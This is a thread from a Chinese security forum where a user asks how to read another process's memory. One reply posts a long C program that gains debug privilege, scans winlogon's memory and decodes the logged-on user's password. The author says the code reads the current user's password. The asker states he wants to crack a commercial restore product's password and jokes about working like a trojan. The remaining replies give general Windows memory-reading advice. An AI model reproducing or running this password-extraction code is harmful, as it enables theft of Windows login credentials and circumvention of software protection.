|
![]() | 作者: yangxius [yangxius]
![]() |
登录 |
哪位大哥能告诉小弟怎么用C语言或者是VB。实现某个内存段的取值。 然后再把值按字符放到一个数组中。谢谢。 |
地主 发表时间: 11/30 09:36 |
![]() | 回复: yangxius [yangxius] ![]() |
登录 |
如果哪位大哥能附上源码更好了。谢谢! |
B1层 发表时间: 11/30 09:39 |
![]() | 回复: ziaichen [ziaichen] ![]() |
登录 |
内存段的取值??/ 你能先把你想干什么讲的具体点、清楚点,好吗? |
B2层 发表时间: 11/30 11:59 |
![]() | 回复: yangxius [yangxius] ![]() |
登录 |
比如说,随windows启动的程序吧。其实随便找一个随系统启动而启动的程序都行。因为每台机器的配置都不同,所以调用这个系统文件以后在内存中的位置都是不同的,但有一点是相同的,就是这个程序中的某一个字符串的相对地址是不变的。就如在一台计算机上一个进程a.exe启动以后的段首地址是2000:0000,但这个a.exe在别的机器上运行的首地址并不一定是2000:0000。这个程序中有一个字符串"abcdefg"在这内存中的相对地址是相同的吧,所以要求的就是这个进程的段首地址。希望有心帮忙的帮一把。急呀 。 |
B3层 发表时间: 11/30 19:45 |
![]() | 回复: ziaichen [ziaichen] ![]() |
登录 |
哎,我太菜了,暂时还不会 我帮你顶! |
B4层 发表时间: 11/30 21:11 |
![]() | 回复: 286 [unique] ![]() |
登录 |
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength=0; PVOID RealPasswordP=NULL; PVOID PasswordP=NULL; DWORD HashByte=0; wchar_t UserName[0x400]; wchar_t UserDomain[0x400]; CString temp; HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges,PreviousState; DWORD returnLength=0; if (OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES,&Token)) if (LookupPrivilegeValue(NULL,"SeDebugPrivilege",&TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount=1; TokenPrivileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; if (AdjustTokenPrivileges(Token,FALSE,&TokenPrivileges,sizeof(TOKEN_PRIVILEGES),&PreviousState,&returnLength)!=TRUE) return ""; } HINSTANCE hNtDll=LoadLibrary("NTDLL.DLL"); pfnNtQuerySystemInformation=(PFNNTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,"NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer=(PFNRTLCREATEQUERYDEBUGBUFFER)GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation=(PFNRTLQUERYPROCESSDEBUGINFORMATION)GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer=(PFNRTLDESTROYQUERYDEBUGBUFFER)GetProcAddress(hNtDll,"RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString=(PFNTRTLRUNDECODEUNICODESTRING)GetProcAddress(hNtDll,"RtlRunDecodeUnicodeString"); #define INITIAL_ALLOCATION 0x100 DWORD rc=0; DWORD SizeNeeded=0; PVOID InfoP=HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,INITIAL_ALLOCATION); pfnNtQuerySystemInformation(0x10,InfoP,INITIAL_ALLOCATION,&SizeNeeded); HeapFree(GetProcessHeap(),0,InfoP); InfoP=HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,SizeNeeded); DWORD SizeWritten=SizeNeeded; if (pfnNtQuerySystemInformation(0x10,InfoP,SizeNeeded,&SizeWritten)) { HeapFree(GetProcessHeap(),0,InfoP); return ""; } DWORD NumHandles=SizeWritten/sizeof(QUERY_SYSTEM_INFORMATION); if (NumHandles==0) { HeapFree(GetProcessHeap(),0,InfoP); return ""; } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP=(PQUERY_SYSTEM_INFORMATION)InfoP; DWORD i; for (i=1;i<=NumHandles;i++) { if (QuerySystemInformationP->HandleType==5) { PVOID DebugBufferP=pfnRtlCreateQueryDebugBuffer(0,0); if (pfnRtlQueryProcessDebugInformation(QuerySystemInformationP->PID,1,DebugBufferP)==0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP=(PPROCESS_INFO_HEADER)((DWORD)DebugBufferP+0x60); DWORD Count=ProcessInfoHeaderP->Count; PPROCESS_INFO ProcessInfoP=(PPROCESS_INFO)((DWORD)ProcessInfoHeaderP+sizeof(PROCESS_INFO_HEADER)); if (strstr(_strupr(ProcessInfoP->Name),"WINLOGON")!=0) { DWORD i; DWORD dw=(DWORD)ProcessInfoP; for (i=0;i<Count;i++) { dw+=sizeof(PROCESS_INFO); ProcessInfoP=(PPROCESS_INFO)dw; if (strstr(_strupr(ProcessInfoP->Name),"NWGINA")!=0) return ""; if (strstr(_strupr(ProcessInfoP->Name),"MSGINA")==0) rc=QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer(DebugBufferP); HeapFree(GetProcessHeap(),0,InfoP); break; } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer(DebugBufferP); } DWORD dw=(DWORD)QuerySystemInformationP; dw+=sizeof(QUERY_SYSTEM_INFORMATION); QuerySystemInformationP=(PQUERY_SYSTEM_INFORMATION)dw; } HeapFree(GetProcessHeap(),0,InfoP); DWORD WinLogonPID=rc; memset(UserName,0,sizeof(UserName)); memset(UserDomain,0,sizeof(UserDomain)); GetEnvironmentVariableW(L"USERNAME",UserName,0x400); GetEnvironmentVariableW(L"USERDOMAIN",UserDomain,0x400); BOOL FoundPasswordPage=FALSE; #define USER_DOMAIN_OFFSET_WIN2K 0x400 #define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE WinLogonHandle=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,WinLogonPID); if (WinLogonHandle==0) return ""; PasswordLength=0; SYSTEM_INFO SystemInfo; GetSystemInfo(&SystemInfo); i=(DWORD)SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory=(DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increment=SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i<MaxMemory) { if (VirtualQueryEx(WinLogonHandle,(PVOID)i,&MemoryBasicInformation,sizeof(MEMORY_BASIC_INFORMATION))) { Increment = MemoryBasicInformation.RegionSize; if (((MemoryBasicInformation.State&MEM_COMMIT)==MEM_COMMIT)&&((MemoryBasicInformation.Protect & PAGE_GUARD)==0)) { PVOID RealStartingAddressP=HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MemoryBasicInformation.RegionSize); DWORD BytesCopied=0; if (ReadProcessMemory(WinLogonHandle,(PVOID)i,RealStartingAddressP,MemoryBasicInformation.RegionSize,&BytesCopied)) { if ((wcsicmp((wchar_t *) RealStartingAddressP,UserName)==0)&&(wcsicmp((wchar_t *)((DWORD)RealStartingAddressP+USER_DOMAIN_OFFSET_WIN2K),UserDomain)==0)) { RealPasswordP=(PVOID)(i+USER_PASSWORD_OFFSET_WIN2K); PasswordP=(PVOID)((DWORD)RealStartingAddressP+USER_PASSWORD_OFFSET_WIN2K); PBYTE p=(PBYTE)PasswordP; DWORD Loc=(DWORD)p; DWORD Len=0; if (!((*p==0)&&(*(PBYTE)((DWORD)p+1)==0))) do{ Len++; Loc+=2; p=(PBYTE)Loc; }while(*p!=0); PasswordLength=Len; CloseHandle(WinLogonHandle); if (PasswordLength==0) { return temp; } else { DWORD i,Hash=0; UNICODE_STRING EncodedString; EncodedString.Length=(USHORT)PasswordLength*sizeof(wchar_t); EncodedString.MaximumLength=((USHORT)PasswordLength*sizeof(wchar_t))+sizeof(wchar_t); EncodedString.Buffer=(PWSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,EncodedString.MaximumLength); for (i=0;i<=0xff;i++) { CopyMemory(EncodedString.Buffer,PasswordP,PasswordLength*sizeof(wchar_t)); pfnRtlRunDecodeUnicodeString((BYTE)i,&EncodedString); PBYTE p=(PBYTE)EncodedString.Buffer; BOOL Viewable=TRUE; DWORD j,k; for (j=0;(j<PasswordLength)&&Viewable;j++) { if ((*p)&&(*(PBYTE)(DWORD(p)+1)==0)) { if (*p<' ' || *p>'~') Viewable=FALSE; } else Viewable = FALSE; k=DWORD(p); k++;k++; p=(PBYTE)k; } if (Viewable) { } } HeapFree(GetProcessHeap(),0,EncodedString.Buffer); } } } HeapFree(GetProcessHeap(),0,RealStartingAddressP); } } else Increment=SystemInfo.dwPageSize; i += Increment; } CloseHandle(WinLogonHandle); FreeLibrary(hNtDll); |
B5层 发表时间: 12/01 09:17 |
![]() | 回复: 286 [unique] ![]() |
登录 |
上面代码可以读出内存中当前用户的口令. 说白了你不就想要这段代码吗?! :) [此贴被 286(unique) 在 12月01日15时56分 编辑过] |
B6层 发表时间: 12/01 09:17 |
![]() | 回复: blegding [blegding] ![]() |
登录 |
我看到c发晕。。。但是这不是我放弃c的理由。。哈哈。。~ |
B7层 发表时间: 12/01 10:23 |
![]() | 回复: realpope [realpope] ![]() |
登录 |
286的程序更让我发晕 呵呵 |
B8层 发表时间: 12/01 11:33 |
![]() | 回复: lwei889 [lwei889] ![]() |
登录 |
学c一年了,但还是看不懂,不过会努力的!!!!! |
B9层 发表时间: 12/01 12:35 |
![]() | 回复: tuzi [tuzi] ![]() |
登录 |
286 你是干什么的 我就跟你打工了 妈的 不信这C语言 学不好:) |
B10层 发表时间: 12/01 15:26 |
![]() | 回复: flyfalcon [flyfalcon] ![]() |
登录 |
你那是VC,我看不懂啊,晕倒 我用的是TC,明年得自学VC, 造个核弹,玩玩 |
B11层 发表时间: 12/01 16:12 |
![]() | 回复: yangxius [yangxius] ![]() |
登录 |
谢了,原来这么复杂呀,我还以为几个简单的语句就能实现呢。哎。我真菜。 |
B12层 发表时间: 12/02 12:11 |
![]() | 回复: leonshoh [leonshoh] ![]() |
登录 |
晕,根本没有必要使用NATIVE API,用普通的API够了~ 用ReadProcessMemory读嘛~~ 要其他进程的地址先提升权限,然后用OpenProcess拿句柄~~~ 困了~~~~ |
B13层 发表时间: 12/02 12:42 |
![]() | 回复: yangxius [yangxius] ![]() |
登录 |
我想实现的功能不是读出用户口令。因为我最近我把",网络还原大师“的密码解了。它是利用了加密口令的。因为我找到了加密的方法,虽然我能找到那串密文的地址,但是我无法用语言来实现。因为我想编一个破解程序。所以就麻烦版主了。但谢谢了,我会努力的。 |
B14层 发表时间: 12/03 19:56 |
![]() | 回复: shesh [shesh] ![]() |
登录 |
windows 不能读写绝对地址,只能读写某个进程的虚拟地址. ReadProcessMemory WriteProcessMemory |
B15层 发表时间: 12/04 09:49 |
![]() | 回复: yangxius [yangxius] ![]() |
登录 |
是呀,进程在读取到内存的时候每台机器都是不一样的。但我感觉它在内存中总是有一个标志,表示它被分配的内存段吧?所以我想要实现的就是找到这个进程的地址段。 |
B16层 发表时间: 12/04 11:12 |
![]() | 回复: 286 [unique] ![]() |
登录 |
我早就知道你要找的是这个标志(应该叫段页基址寄存器吧),但你为什么不想想,如果空个标志随随便便那个人都能用的话,那岂不是谁想改哪就敢哪了?那你编的程序就是操作系统的一部分了。 就好象随便哪个员工就可以查公司所有职员的帐号、个人档案一样了。 当然了,真要查还是能查的,呵呵,除非你上升到经理一级,也就是说你的程序首先要在管理员组成员模式下运行,然后你进入RING0,然后获得系统令牌,然后找到你所要的那个程序首地址,然后把那个程序设置为调试模式,也就是说你告诉系统你要调试这个程序,然后................ 好了,别再问下去了,源程序就是上面的程序,看不看由你。 |
B17层 发表时间: 12/05 09:17 |
![]() | 回复: huweiwei [huweiwei] ![]() |
登录 |
?看的我满头问号 |
B18层 发表时间: 12/05 23:45 |
![]() | 回复: yangxius [yangxius] ![]() |
登录 |
谢谢了,我会努力把它上升到系统进程的级别的,就象一些木马一样,哈哈哈。如果补丁做出来我会把286也写进去的。哈。 |
B19层 发表时间: 12/06 08:16 |
![]() | 回复: yangxius [yangxius] ![]() |
登录 |
ddd |
B20层 发表时间: 12/07 09:32 |
![]() | 回复: softlib [softlib] ![]() |
登录 |
如果是 PE EXE 那么它的装载地址是根据 PE 格式里 IMAGE_NT_HEADERS 结构中 IMAGE_OPTIONAL_HEADER 结构的 ImageBase 决定的,EXE 文件 一般被指为 0x40000000。你所说的相对地址就是 RVA,你完全可以从这 里读起。可以用 VirtualQueryEx 来查询进程内存,判断 MEMORY_BASIC_INFORMATION 结构中 State 等于 MEM_COMMIT 即是有效 内存,然后用 ReadProcessMemory 来读取。 |
B21层 发表时间: 12/07 21:12 |
![]() | 回复: yangcheng [yangcheng] ![]() |
登录 |
晕! |
B22层 发表时间: 12/08 11:15 |
![]() | 回复: yangxius [yangxius] ![]() |
登录 |
还 你的简单明了。一看就明白,哈哈。 |
B23层 发表时间: 12/09 15:26 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号